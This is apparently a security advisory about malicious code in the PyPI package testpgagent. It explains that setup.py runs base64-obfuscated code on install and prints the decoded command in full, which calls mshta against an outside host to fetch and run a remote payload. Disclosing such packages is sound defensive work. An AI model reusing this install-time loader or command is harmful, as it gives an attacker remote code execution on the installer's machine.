Malicious code in testpgagent (PyPI)
-= Per source details. Do not edit below this line.=-
On pip install, setup.py line 19 calls exec(base64.b64decode(...)) whose decoded body is import os; os.system('cmd /c "mshta http://fixars.top"'). This launches Windows mshta.exe against http://fixars.top over plaintext HTTP, fetching and executing an arbitrary HTML-application payload on the installer's machine. The payload is obfuscated with base64+exec to evade casual inspection. The fetch destination is unrelated to any declared publisher, content is unpinned and mutable, and execution is fully attacker-controlled. Any Windows machine running pip install TestPGAgent==0.2 will execute remote code chosen by whoever controls fixars.top at the moment of install.
During installation, the code attempts to download and start a malicious executable.
